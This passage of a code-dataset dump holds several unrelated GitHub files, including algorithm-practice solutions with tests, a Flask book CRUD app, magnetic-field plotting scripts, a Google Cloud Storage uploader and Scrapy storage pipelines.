products_of_all_ints_before_index = [None] * len(int_list)\n\n# For each integer, find the product of all the integers\n# before it, storing the total product so far each time\nproduct_so_far = 1\nfor i in xrange(len(int_list)):\n products_of_all_ints_before_index[i] = product_so_far\n product_so_far *= int_list[i]\n\nSo we solved the subproblem of finding the products of all the integers before each index. Now, how can we find the products of all the integers after each index?\n\nIt might be tempting to make a new list of all the values in our input list in reverse, and just use the same function we used to find the products before each index.\n\nIs this the best way?\n\nThis method will work, but:\n\nWe'll need to make a whole new list that's basically the same as our input list. That's another O(n)O(n) memory cost!\nTo keep our indices aligned with the original input list, we'd have to reverse the list of products we return. That's two reversals, or two O(n)O(n) operations!\nIs there a cleaner way to get the products of all the integers after each index?\n\nWe can just walk through our list backwards! So instead of reversing the values of the list, we'll just reverse the indices we use to iterate!\n\n products_of_all_ints_after_index = [None] * len(int_list)\n\nproduct_so_far = 1\nfor i in xrange(len(int_list) - 1, -1, -1):\n products_of_all_ints_after_index[i] = product_so_far\n product_so_far *= int_list[i]\n\nNow we've got products_of_all_ints_after_index, but we’re starting to build a lot of new lists. And we still need our final list of the total products. How can we save space?\n\nLet’s take a step back. Right now we’ll need three lists:\n\nproducts_of_all_ints_before_index\nproducts_of_all_ints_after_index\nproducts_of_all_ints_except_at_index\nTo get the first one, we keep track of the total product so far going forwards, and to get the second one, we keep track of the total product so far going backwards. How do we get the third one?\n\nWell, we want the product of all the integers before an index and the product of all the integers after an index. We just need to multiply every integer in products_of_all_ints_before_index with the integer at the same index in products_of_all_ints_after_index!\n\nLet's take an example. Say our input list is [2, 4, 10][2,4,10]:\n\nWe'll calculate products_of_all_ints_before_index as:\n\nIf the input list is [2, 4, 10], the product of all the numbers before each index is [1, 2, 8]\nAnd we'll calculate products_of_all_ints_after_index as:\n\nIf the input list is [2, 4, 10], the product of all the numbers after each index is [40, 10, 1]\nIf we take these lists and multiply the integers at the same indices, we get:\n\nThe product of all the numbers before an index times the product of all the numbers after an index is the product of the numbers at all other indices: 1*40=40, 2*10=20, 8*1=8.\nAnd this gives us what we're looking for—the products of all the integers except the integer at each index.\n\nKnowing this, can we eliminate any of the lists to reduce the memory we use?\n\nYes, instead of building the second list products_of_all_ints_after_index, we could take the product we would have stored and just multiply it by the matching integer in products_of_all_ints_before_index!\n\nSo in our example above, when we calculated our first (well, \"0th\") \"product after index\" (which is 40), we’d just multiply that by our first \"product before index\" (1) instead of storing it in a new list.\n\nHow many lists do we need now?\n\nJust one! We create a list, populate it with the products of all the integers before each index, and then multiply those products with the products after each index to get our final result!\n\nproducts_of_all_ints_before_index now contains the products of all the integers before and after every index, so we can call it products_of_all_ints_except_at_index!\n\nAlmost done! Are there any edge cases we should test?\n\nWhat if the input list contains zeroes? What if the input list only has one integer?\n\nWe'll be fine with zeroes.\n\nBut what if the input list has fewer than two integers?\n\nWell, there won't be any products to return because at any index there are no “other” integers. So let's raise an exception.\n\nSolution\nTo find the products of all the integers except the integer at each index, we'll go through our list greedily ↴ twice. First we get the products of all the integers before each index, and then we go backwards to get the products of all the integers after each index.\n\nWhen we multiply all the products before and after each index, we get our answer—the products of all the integers except the integer at each index!\n\n def get_products_of_all_ints_except_at_index(int_list):\n if len(int_list) < 2:\n raise IndexError('Getting the product of numbers at other '\n 'indices requires at least 2 numbers')\n\n # We make a list with the length of the input list to\n # hold our products\n products_of_all_ints_except_at_index = [None] * len(int_list)\n\n # For each integer, we find the product of all the integers\n # before it, storing the total product so far each time\n product_so_far = 1\n for i in xrange(len(int_list)):\n products_of_all_ints_except_at_index[i] = product_so_far\n product_so_far *= int_list[i]\n\n # For each integer, we find the product of all the integers\n # after it. since each index in products already has the\n # product of all the integers before it, now we're storing\n # the total product of all other integers\n product_so_far = 1\n for i in xrange(len(int_list) - 1, -1, -1):\n products_of_all_ints_except_at_index[i] *= product_so_far\n product_so_far *= int_list[i]\n\n return products_of_all_ints_except_at_index\n\nComplexity\nO(n)O(n) time and O(n)O(n) space. We make two passes through our input a list, and the list we build always has the same length as the input list.\n\nBonus\nWhat if you could use division? Careful—watch out for zeroes!\n\nWhat We Learned\nAnother question using a greedy ↴ approach. The tricky thing about this one: we couldn't actually solve it in one pass. But we could solve it in two passes!\n\nThis approach probably wouldn't have been obvious if we had started off trying to use a greedy approach.\n\nInstead, we started off by coming up with a slow (but correct) brute force solution and trying to improve from there. We looked at what our solution actually calculated, step by step, and found some repeat work. Our final answer came from brainstorming ways to avoid doing that repeat work.\n\nSo that's a pattern that can be applied to other problems:\n\nStart with a brute force solution, look for repeat work in that solution, and modify it to only do that work once.\n\n\"\"\"\n# Tests\n\nclass Test(unittest.TestCase):\n\n def test_small_list(self):\n actual = get_products_of_all_ints_except_at_index([1, 2, 3])\n expected = [6, 3, 2]\n self.assertEqual(actual, expected)\n\n def test_longer_list(self):\n actual = get_products_of_all_ints_except_at_index([8, 2, 4, 3, 1, 5])\n expected = [120, 480, 240, 320, 960, 192]\n self.assertEqual(actual, expected)\n\n def test_list_has_one_zero(self):\n actual = get_products_of_all_ints_except_at_index([6, 2, 0, 3])\n expected = [0, 0, 36, 0]\n self.assertEqual(actual, expected)\n\n def test_list_has_two_zeros(self):\n actual = get_products_of_all_ints_except_at_index([4, 0, 9, 1, 0])\n expected = [0, 0, 0, 0, 0]\n self.assertEqual(actual, expected)\n\n def test_one_negative_number(self):\n actual = get_products_of_all_ints_except_at_index([-3, 8, 4])\n expected = [32, -12, -24]\n self.assertEqual(actual, expected)\n\n def test_all_negative_numbers(self):\n actual = get_products_of_all_ints_except_at_index([-7, -1, -4, -2])\n expected = [-8, -56, -14, -28]\n self.assertEqual(actual, expected)\n\n def test_error_with_empty_list(self):\n with self.assertRaises(Exception):\n get_products_of_all_ints_except_at_index([])\n\n def test_error_with_one_number(self):\n with self.assertRaises(Exception):\n get_products_of_all_ints_except_at_index([1])\n\n\nunittest.main(verbosity=2)","repo_name":"4rund3v/dailyCode","sub_path":"intetrviewcake/product_of_indexes.py","file_name":"product_of_indexes.py","file_ext":"py","file_size_in_byte":13230,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"25371545424","text":"import os\n\ndef dirTree(path, exclude_list=None, level=0, maxLevel=None, firstLast=False):\n # 取得當前目錄所有文件\n files = os.listdir(path)\n # 遍历列表\n for num, file in enumerate(files):\n # 如果不要顯示的文件就跳\n if (exclude_list is not None) and file in exclude_list:\n continue\n\n # 判斷是否為最後一項\n isLast = len(files) - 1 == num\n prefix = \"└── \" if isLast else \"├── \"\n if level == 0:\n print( prefix + file )\n else:\n if firstLast:\n print( \" \" + \"│ \"*(level-1) + prefix + file )\n else:\n print( \"│ \" * level + prefix + file )\n \n isDir = os.path.isdir(os.path.join(path, file))\n \n if not firstLast:\n firstLast = level == 0 and isLast\n if isDir and (maxLevel is None or level < maxLevel):\n dirPath = os.path.join(path, file)\n dirTree(dirPath, exclude_list,level=level+1, maxLevel=maxLevel, firstLast=firstLast)","repo_name":"AnsonCar/pyday","sub_path":"src/pyday/Tool/dirTree.py","file_name":"dirTree.py","file_ext":"py","file_size_in_byte":1068,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"35791604657","text":"# Name: Eugene Shao\r\n# CMS cluster login: eyshao\r\n\r\nimport dissembler as d\r\nimport sys\r\n\r\ndef print_moves(moveSeq):\r\n '''Prints move sequence for solving the Dissembler puzzle.\r\n \r\n Arguments: a list containing the move sequence\r\n \r\n Return Value: none\r\n '''\r\n print('This puzzle is solvable!')\r\n for i in range(1, len(moveSeq)):\r\n s = f'\\nStep {i}: '\r\n ((r1, c1), (r2, c2)) = moveSeq[i]\r\n s += f'({r1}, {c1}) -- ({r2}, {c2})'\r\n print(s)\r\n\r\ndef undo_location(game, moves, moveSeq, location):\r\n '''Undos a move/goes upwards in the tree.\r\n \r\n Arguments: a moves graph;\r\n a dictionary containing the edges and vertices of the graph;\r\n a list containing the current sequence of moves\r\n the location of the next move\r\n Return Value: none\r\n '''\r\n moveSeq.pop()\r\n game.undo()\r\n moves.pop(location)\r\n go_to_node(game, moves, moveSeq, moveSeq[-1])\r\n\r\ndef go_to_node(game, moves, moveSeq, nextMove):\r\n '''Goes to a node in the tree. \r\n \r\n Arguments: a moves graph;\r\n a dictionary containing the edges and vertices of the graph;\r\n a list containing the current sequence of moves\r\n the location of the next move\r\n \r\n Return Value: none\r\n '''\r\n if game.rep == {}:\r\n print_moves(moveSeq)\r\n return (-1, -1, -1, -1)\r\n \r\n if nextMove not in moves:\r\n children = game.possible_moves()\r\n \r\n if len(children) == 0: # No possible moves\r\n moveSeq.pop()\r\n game.undo()\r\n return (game, moves, moveSeq, moveSeq[-1])\r\n # go_to_node(game, moves, moveSeq, moveSeq[-1]) \r\n \r\n moves[nextMove] = set()\r\n for move in children:\r\n moves[nextMove].add(move)\r\n \r\n if moves[nextMove] == set():\r\n if len(moveSeq) == 1:\r\n print('There are no solutions to this Dissembler puzzle!')\r\n return (-1, -1, -1, -1)\r\n moveSeq.pop()\r\n game.undo()\r\n moves.pop(nextMove)\r\n return (game, moves, moveSeq, moveSeq[-1])\r\n # go_to_node(game, moves, moveSeq, moveSeq[-1]) \r\n \r\n nextMove = moves[nextMove].pop()\r\n moveSeq.append(nextMove)\r\n game.make_move(nextMove)\r\n \r\n return (game, moves, moveSeq, nextMove)\r\n # go_to_node(game, moves, moveSeq, nextMove)\r\n\r\n\r\nif len(sys.argv) != 2:\r\n print('Please enter two arguments: one for this file and one for ' + \\\r\n 'the puzzle file!')\r\n \r\ngame = d.Dissembler()\r\nmoves = {}\r\nmoveSeq = ['initial']\r\noutput = (0, 0, 0, 0)\r\n\r\ntry:\r\n with open(sys.argv[1], 'r') as f:\r\n puzzle = f.read().rstrip()\r\n game.load(puzzle)\r\n output = go_to_node(game, moves, moveSeq, 'initial')\r\n while output != (-1, -1, -1, -1):\r\n output = go_to_node(output[0], output[1], output[2], output[3]) \r\nexcept FileNotFoundError:\r\n print('Cannot find file!')","repo_name":"ptes77/Dissembler","sub_path":"DissemblerSolver.py","file_name":"DissemblerSolver.py","file_ext":"py","file_size_in_byte":3003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18330951931","text":"import sys\nimport math\nfrom collections import deque\n\nsys.setrecursionlimit(1000000)\nMOD = 10 ** 9 + 7\ninput = lambda: sys.stdin.readline().strip()\nNI = lambda: int(input())\nNMI = lambda: map(int, input().split())\nNLI = lambda: list(NMI())\nSI = lambda: input()\n\n\ndef main():\n S = SI()\n i, c, t = 0, 0, 0\n for s in S:\n if s == 'i' or s == 'I': i = 1\n if (s == 'c' or s == 'C') and i == 1: c = 1\n if (s == 't' or s == 'T') and i*c == 1: t = 1\n print(\"YES\" if t else \"NO\")\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"Mao-beta/AtCoder","sub_path":"ARC/ARC022/ARC022A.py","file_name":"ARC022A.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"43811420013","text":"'''최근 어떤 동영상 플랫폼에서 P채널과 T채널이 구독자 수 1위를 놓고 치열한 경쟁을 벌이고 있다.\n영은이는 자신의 주위 사람들은 어떤 채널을 구독하고 있을지 궁금해하여, N명의 사람들에게 아래 두 질문을 하였다.\n\n - P채널을 구독하고 있나요?\n - T채널을 구독하고 있나요?\n\n그 결과, A명이 1번 질문에 ‘네’라고 답했고, B명이 2번 질문에 ‘네’라고 답했다.\n이때, P채널과 T채널 모두 구독하고 있는 사람들이 최소 몇 명, 최대 몇 명인지 구하는 프로그램을 작성하라.\n\n[입력]\n첫 번째 줄에 테스트 케이스의 수 T가 주어진다.\n각 테스트 케이스의 첫 번째 줄에는 세 개의 정수 N (1 ≤ N ≤ 100), A, B (0 ≤ A, B ≤ N)이 공백 하나를 사이로 두고 순서대로 주어진다.\n\n[출력]\n각 테스트 케이스마다 ‘#x’(x는 테스트케이스 번호를 의미하며 1부터 시작한다)를 출력하고,\nP채널과 T채널 모두 구독하고 있는 사람의 수의 최댓값과 최솟값을 공백 하나를 사이로 두고 차례대로 출력한다.'''\nimport sys\nsys.stdin = open(\"input.txt\", \"r\")\nT = int(input())\nfor t in range(1, T+1):\n n, a, b = map(int, input().split())\n if n <= a + b: # 7 5\n Min = (a + b) - n\n Max = min(a, b)\n else: # 3 5\n Min = 0\n Max = min(a, b)\n print(f'#{t} {Max} {Min}')\n","repo_name":"KDT2-Algorithm-study/Algorithm-study","sub_path":"SWEA/10200/10200_김신혜.py","file_name":"10200_김신혜.py","file_ext":"py","file_size_in_byte":1456,"program_lang":"python","lang":"ko","doc_type":"code","stars":8,"dataset":"github-code","pt":"3"} +{"seq_id":"72825055440","text":"\"\"\"Test Teradata methods.\"\"\"\nfrom claims_to_quality.lib.teradata_methods import measures_to_sql\nfrom claims_to_quality.lib.teradata_methods import sql_formatting\n\nimport pytest\n\n\ndef test_to_sql_list_strs():\n str_list = ['a1', '2', '3']\n expected = \"('a1', '2', '3')\"\n\n assert expected == sql_formatting.to_sql_list(str_list)\n\n\ndef test_to_sql_list_ints():\n int_list = [1, 2, 3]\n expected = \"('1', '2', '3')\"\n\n assert expected == sql_formatting.to_sql_list(int_list)\n\n\ndef test_to_sql_list_empty_list():\n empty_list = []\n with pytest.raises(sql_formatting.SQLFormattingError):\n sql_formatting.to_sql_list(empty_list)\n\n\ndef test_convert_procedure_codes_to_sql_condition():\n procedure_codes = ['code1', 'code2', 'code3']\n output = measures_to_sql._convert_procedure_codes_to_sql_condition(procedure_codes)\n expected = \"CLM_LINE_HCPCS_CD IN ('code1', 'code2', 'code3')\"\n\n assert output == expected\n","repo_name":"CMSgov/qpp-claims-to-quality-public","sub_path":"tests/lib/test_sql_formatting.py","file_name":"test_sql_formatting.py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"3"} +{"seq_id":"74663746321","text":"import math\n\ndef FindSimpul (infoSimpul, simpul):\n i = 0\n lokasi = -1\n found = False\n while (i ', methods=['GET'])\ndef get_books_by_id(id):\n query = db.session.execute(db.select(Book).filter_by(id=id)).one()\n oneBook = BookSchema(many=True)\n book = oneBook.dump(query)\n return make_response(book)\n\n\n@app.route('/books/filtered/', methods=['GET'])\ndef filtered_books(search):\n query = Book.query.filter(Book.title.like(search + \"%\")).all()\n if query == []:\n query = Book.query.filter(Book.author.like(search + \"%\")).all()\n books = BookSchema(many=True)\n response = books.dump(query)\n if response == []:\n return make_response(jsonify(message=\"This book don't exist\"), 404)\n return make_response(response)\n\n\n@app.route('/books/create', methods=['POST'])\ndef create_book():\n data = request.get_json()\n bookSchema = BookSchema(load_instance=True)\n book = bookSchema.load(data)\n result = bookSchema.dump(book.create())\n return make_response(jsonify({\"books\": result}), 200)\n\n\n@app.route('/books/', methods=['PUT'])\ndef edit_book(id):\n\n data = request.get_json()\n\n getBooks = Book.query.get(id)\n\n if data.get('title'):\n getBooks.title = data.get('title')\n if data.get('author'):\n getBooks.author = data.get('author')\n\n db.session.add(getBooks)\n db.session.commit()\n\n bookSchema = BookSchema(only=['id', 'title', 'author'])\n book = bookSchema.dump(getBooks)\n\n return make_response(jsonify({'book': book}, 200))\n\n\n@app.route('/books/', methods=['DELETE'])\ndef delete_book(id):\n getBook = Book.query.get(id)\n db.session.delete(getBook)\n db.session.commit()\n\n return make_response(\"\", 204)\n\n\napp.run(port=8000, host='localhost', debug=True)\n","repo_name":"KleytonFSantos/crud-python-flask","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"13930625723","text":"from django.contrib import admin\n\nfrom ..models import StudentExample\n\n\n@admin.register(StudentExample)\nclass StudentExampleAdmin(admin.ModelAdmin):\n list_display = (\n \"id\",\n \"reason\",\n \"student\",\n \"example\",\n \"episode\",\n \"added_by\",\n \"added\",\n )\n list_display_links = (\"student\", \"example\", \"episode\", \"added_by\")\n list_editable = (\"reason\",)\n\n def get_queryset(self, request):\n queryset = super().get_queryset(request)\n return queryset.select_related(\n \"example\", \"student\", \"added_by\", \"episode\"\n )\n","repo_name":"stanislavpol00/education","sub_path":"main/admin/student_example.py","file_name":"student_example.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71834602002","text":"#입력\n# 7\n# 6\n# 1 2\n# 2 3\n# 1 5\n# 5 2\n# 5 6\n# 4 7\n\n#첫 번째 줄은 컴퓨터의 갯수 ,두 번째 줄은 연결되어 있는 컴퓨터 짝의 수 ,세 번째 줄부터는 연결된 컴퓨터 짝\n#1번 컴퓨터가 감엳되었을 때 몇 대의 컴퓨터가 감염되었는지 출력\n\nn = int(input())\nm = int(input())\ngraph = [[]*n for _ in range(n+1)]\nfor _ in range(m):\n a,b = map(int,input().split())\n graph[a].append(b)\n graph[b].append(a)\n \ncnt = 0\nvisited = [0]*(n+1)\ndef dfs(start):\n global cnt\n visited[start] = 1\n for i in graph[start]:\n if visited[i]==0:\n dfs(i)\n cnt +=1\n \ndfs(1)\nprint(cnt)","repo_name":"kkk67/PythonWorkspace","sub_path":"바이러스.py","file_name":"바이러스.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"14702281725","text":"import matplotlib.pyplot as plt\nimport numpy as np\nfrom scipy.optimize import curve_fit\nimport scipy.optimize as opt\n\n####################SPULE#################\n\ndef curvefit(x):\n\n R = 0.00042025\n I = 0.00018855*10**(3)\n return I*R/( ( R + ((x-7.5)*0.01)**2 )**(3/2))\n\ndef curvefit2(x):\n\n R = 0.00042025\n I = 0.00004855*10**(3)\n return I*R/( ( R + ((x-7.5)*0.01)**2 )**(3/2))\n\nB, x1 = np.genfromtxt('langeSpule.txt', unpack=True)\n\nplt.plot(x1, B, 'rx', label='Messwerte')\nplt.axis([0, 10.5, 0, 10])\nplt.xlabel(r'$x \\:/\\: \\unit{\\cm}$')\nplt.ylabel(r'$|B| \\:/\\: \\unit{\\tesla} \\cdot 10^{-3}$')\n\n\n# plot der Theoriekurve\nx = np.linspace(0,10)\nplt.plot(x, curvefit(x), color='blue', label='Theoriekurve zu den gegebenen Werten')\n\nplt.plot(x, curvefit2(x), color='grey', linestyle='--', label='Optimierte Kurve')\n\nplt.legend(loc='best')\n\n# in matplotlibrc leider (noch) nicht möglich)\nplt.savefig('build/plot.pdf')\n\n################HELMHOLTZ12#################\n\nplt.close()\n\ndef Helmholtz12(x):\n I = 2.512*10**(-3)\n R = 0.00390625\n n = 100\n return (I*R*n/((R+(x-6*10**(-2))**2)**(3/2))) + (I*R*n/((R+(x+6*10**(-2))**2)**(3/2)))\nB12, x12 = np.genfromtxt('Helmholtz12.txt', unpack=True)\n\nplt.plot(x12, B12, 'rx', label='Messwerte')\nplt.axis([-12, 12, 0, 6])\nplt.xlabel(r'$x \\:/\\: \\unit{\\cm}$')\nplt.ylabel(r'$|B| \\:/\\: \\unit{\\tesla} \\cdot 10^{-3}$')\n\n\n# plot der Theoriekurve\nx = np.linspace(-12,12)\nplt.plot(x, Helmholtz12(x*10**(-2)), color='blue', label='Theoriekurve zu den gegebenen Werten')\n\nplt.legend(loc='best')\n\nprint(f'12: \\t{Helmholtz12(0)}')\n\nplt.savefig('build/plot2.pdf')\n\n############HELMHOLTZ14#############\n\nplt.close()\n\ndef Helmholtz14(x):\n I = 2.512*10**(-3)\n R = 0.00390625\n n = 100\n return (I*R*n/((R+((x-7)*10**(-2))**2)**(3/2))) + (I*R*n/((R+((x+7)*10**(-2))**2)**(3/2)))\nB14, x14 = np.genfromtxt('Helmholtz14.txt', unpack=True)\n\nplt.plot(x14, B14, 'rx', label='Messwerte')\nplt.axis([-13, 13, 0, 5])\nplt.xlabel(r'$x \\:/\\: \\unit{\\cm}$')\nplt.ylabel(r'$|B| \\:/\\: \\unit{\\tesla} \\cdot 10^{-3}$')\n\n\n# plot der Theoriekurve\nx = np.linspace(-13,13)\nplt.plot(x, Helmholtz14(x), color='blue', label='Theoriekurve zu den gegebenen Werten')\n\nplt.legend(loc='best')\nprint(f'14: \\t{Helmholtz14(0)}')\nplt.savefig('build/plot3.pdf')\n\n############HELMHOLTZ16###############\n\nplt.close()\n\ndef Helmholtz16(x):\n I = 2.512*10**(-3)\n R = 0.00390625\n n = 100\n return (I*R*n/((R+((x-8)*10**(-2))**2)**(3/2))) + (I*R*n/((R+((x+8)*10**(-2))**2)**(3/2)))\nB16, x16 = np.genfromtxt('Helmholtz16.txt', unpack=True)\n\nplt.plot(x16, B16, 'rx', label='Messwerte')\nplt.axis([-14, 14, 0, 5])\nplt.xlabel(r'$x \\:/\\: \\unit{\\cm}$')\nplt.ylabel(r'$|B| \\:/\\: \\unit{\\tesla} \\cdot 10^{-3}$')\n\n\n# plot der Theoriekurve\nx = np.linspace(-14,14)\nplt.plot(x, Helmholtz16(x), color='blue', label='Theoriekurve zu den gegebenen Werten')\n\nplt.legend(loc='best')\nprint(f'16: \\t{Helmholtz16(0)}')\nplt.savefig('build/plot4.pdf')\n\n#########Hysteresekurve###########\nplt.close()\n\nBH1, IH1, H1, M1 = np.genfromtxt('Hysterese1.txt', unpack=True)\nBH2, IH2, H2, M2 = np.genfromtxt('Hysterese2.txt', unpack=True)\nBH3, IH3, H3, M3 = np.genfromtxt('Hysterese3.txt', unpack=True)\nplt.plot(H1, BH1, 'r-', label='erste Kurve')\nplt.plot(H1, BH1, 'rx')\nplt.plot(H2, BH2, 'b-', label='zweite Kurve')\nplt.plot(H2, BH2, 'bx')\nplt.plot(H3, BH3, 'g-', label='dritte Kurve')\nplt.plot(H3, BH3, 'gx')\nplt.grid(True)\nplt.plot([0,0], [129.0, -123.6], 'm*', label='Remanenz')\nplt.plot([370,-370], [0,0], 'c*', label='Koerzitivkraft')\nplt.plot([-7018.2,7018.2], [-713.2,718], 'y*', label='Sättigung')\n\nplt.axis([-8000, 8000, -800, 800])\nplt.xlabel(r'$H \\:/\\: \\unit{\\ampere}\\:/\\: \\unit{\\m}$')\nplt.ylabel(r'$B \\:/\\: \\unit{\\tesla} \\cdot 10^{-3}$')\nplt.legend(loc='best')\nplt.savefig('build/plot5.pdf')\n\n#def H(k):\n# r=0.135\n# n=595\n# return (n*k)/(2*3.14*r)\n#\n#def M(B,H):\n# return B/(1.257*10**(-6)) - H\n#\n#print(f'M1: \\t{M(BH1*10**(-3), H1)}, M2: \\t{M(BH2*10**(-3), H2)} , M3: \\t{M(BH3*10**(-3), H3)}')","repo_name":"Bastian125/AP","sub_path":"308-Spulen_und_Magnetfelder/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":4002,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"3"} +{"seq_id":"71245734163","text":"import os\nfrom google.cloud import storage\n\nclass gcs:\n def __init__(self,credentials=None) -> None:\n self.credentials = credentials\n if self.credentials!=None:\n os.environ[\"GOOGLE_APPLICATION_CREDENTIALS\"]= self.credentials \n\n def set(self, project,bucket_name,folder):\n self.project = project\n self.bucket_name = bucket_name\n self.folder = folder\n return\n\n def sendFile(self, File, remote_file):\n project_id = self.project \n bucket_name = self.bucket_name\n bucket_file = self.folder+remote_file \n local_file = File\n\n # Initialise a client\n client = storage.Client(project_id)\n bucket = client.get_bucket(bucket_name)\n blob = bucket.blob(bucket_file)\n blob.open()\n # Upload the file to a destination\n blob.upload_from_filename(local_file)\n #blob.upload_from_string(Data)\n return\n \n def upload_blob(self, blob_text, remote_file):\n bucket_file = self.folder+remote_file\n storage_client = storage.Client(self.project)\n bucket = storage_client.get_bucket(self.bucket_name)\n blob = bucket.blob(bucket_file)\n# blob.open()\n blob.upload_from_string(blob_text,content_type='application/json')\n return","repo_name":"grancoffeeDev/python-projects","sub_path":"API/getVends/pack/gcs.py","file_name":"gcs.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"28672853216","text":"# -*- coding: utf-8 -*-\n\"\"\" Clase RootController\n@author José Chavéz.\n@author Alberto Capli.\n@author Nora González.\n\"\"\"\n\nfrom sqlalchemy import *\nfrom sqlalchemy.orm import mapper\nfrom sap.model import metadata\nfrom sap.model import Item\n\n# Database table definition\n\ntabla_detalleitem = Table(\"DetalleItem\", metadata,\n Column(\"id\", Integer, primary_key=True),\n Column(\"tipo\", Text,nullable=True),\n Column(\"nombrecampo\", Text,nullable=True ),\n Column(\"valor\", Text, nullable=True),\n Column(\"iditem\", Integer, ForeignKey(\"Item.id\", onupdate=\"CASCADE\", ondelete=\"CASCADE\")),\n \n\n)\n\n# Python class definition\nclass DetalleItem(object):\n def __init__(self, tipo= \" \" , nombrecampo=\" \",valor= \" \", iditem=0):\n self.tipo = tipo\n self.nombrecampo = nombrecampo\n self.valor = valor\n self.iditem = iditem\n \n\n# Mapper\nmapper_detalleitem = mapper(DetalleItem, tabla_detalleitem)\n","repo_name":"Alberto2011/SAP","sub_path":"sap/model/detalleitem.py","file_name":"detalleitem.py","file_ext":"py","file_size_in_byte":925,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"5127522622","text":"from gpkit.constraints.relax import ConstantsRelaxed\nfrom gpkit.constraints.bounded import Bounded\nfrom gpkit import Model\n\n\"\"\"\nMethods to precondition an SP so that it solves with a relaxed constants algorithim\nand postcondition an SP to ensure all relax values are 1\n\"\"\"\n\ndef relaxed_constants(model, include_only=None, exclude=None):\n \"\"\"\n Method to precondition an SP so it solves with a relaxed constants\n algorithim\n\n ARGUMENTS\n ---------\n model: the model to solve with relaxed constants\n\n RETURNS\n -------\n feas: the input model but with relaxed constants and a new objective\n \"\"\"\n\n if model.substitutions:\n constsrelaxed = ConstantsRelaxed(Bounded(model))\n feas = Model(constsrelaxed.relaxvars.prod()**20 * model.cost,\n constsrelaxed)\n # NOTE: It hasn't yet been seen but might be possible that\n # the model.cost component above could cause infeasibility\n else:\n feas = Model(model.cost, model)\n\n return feas\n\ndef post_process(sol):\n \"\"\"\n Model to print relevant info for a solved model with relaxed constants\n\n ARGUMENTS\n --------\n sol: the solution to the solved model\n \"\"\"\n\n bdvars = [d for d in sol.program.varkeys if \"Relax\" in str(d)\n and \"before\" not in str(d) and sol(d).magnitude >= 1.001]\n if bdvars:\n print(\"GP iteration has relaxed constants\")\n print(sol.program.result.table(varkeys))\n\n return bdvars\n","repo_name":"convexengineering/solar","sub_path":"solar/relaxed_constants.py","file_name":"relaxed_constants.py","file_ext":"py","file_size_in_byte":1481,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"} +{"seq_id":"40268926655","text":"# -*- coding: utf-8 -*-\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html\nimport codecs\nimport json\nimport MySQLdb\nimport MySQLdb.cursors\nfrom scrapy.pipelines.images import ImagesPipeline\nfrom scrapy.exporters import JsonItemExporter\nfrom twisted.enterprise import adbapi\n\nclass ArticlespiderPipeline(object):\n def process_item(self, item, spider):\n return item\n\nclass JsonWithEncodingPipline(object):\n # 自定义 json 文件的导出\n def __init__(self):\n # 初始化时，打开 json 文件\n self.file = codecs.open(\"article.json\", \"w\", encoding=\"utf-8\")\n\n def process_item(self, item, spider):\n # 先将 item 转成字典，然后转成 json\n lines = json.dumps(dict(item), ensure_ascii=False) + \"\\n\"\n self.file.write(lines)\n # 注意此处将item 返回，以备接下来的函数调用\n return item\n\n def spider_closed(self, spider):\n # 关闭文件\n self.file.close()\n\nclass JsonExporterPipeline(object):\n # 调用 scrapy 提供的 json export 导出 json 文件\n def __init__(self):\n # 打开方式 b 是二进制\n self.file = open(\"articleexporter.json\", \"wb\")\n self.exporter = JsonItemExporter(self.file, encoding = \"utf-8\", ensure_ascii = False)\n # 开始导出\n self.exporter.start_exporting()\n\n def close_spider(self, spider):\n # 停止导出\n self.exporter.finish_exporting()\n self.file.close()\n\n def process_item(self, item, spider):\n self.exporter.export_item(item = item)\n return item\n\n\nclass ArticleImagePipeline(ImagesPipeline):\n def item_completed(self, results, item, info):\n if \"front_image_url\" in item:\n for ok, value in results:\n image_path = value['path']\n item[\"front_image_path\"] = image_path\n return item\n\n\nclass MysqlPipeline(object):\n def __init__(self):\n self.conn = MySQLdb.connect(\"127.0.0.1\", \"wangyu\", \"wangyu\", \"article_spider\", charset=\"utf8\", use_unicode=True)\n self.cursor = self.conn.cursor()\n\n def process_item(self, item, spider):\n insert_sql = \"\"\"\n INSERT INTO jobbole_article(title, url, url_object_id, front_image_url, front_image_path, comment_nums, \n fav_nums, praise_nums, tags, content)\n VALUES(%s, %s, %s, %s, %s, %s, %s, %s, %s,)\n \"\"\"\n self.cursor.execute(insert_sql, (item[\"title\"], item[\"url\"], item[\"url_object_id\"], item[\"front_image_url\"],\n item[\"front_image_path\"], item[\"comment_nums\"], item[\"fav_nums\"],\n item[\"praise_nums\"], item[\"tags\"], item[\"content\"]))\n self.conn.commit()\n return item\n\n\nclass MysqlTwistedPipline(object):\n def __init__(self, dbpool):\n # 在 spider 运行时，就把 dbpool 传递进来了\n # 获得数据库连接池\n self.dbpool = dbpool\n\n @classmethod\n def from_settings(cls, settings):\n # 读取配置文件\n dbparams = dict(\n host=settings[\"MYSQL_HOST\"],\n db=settings[\"MYSQL_DB\"],\n 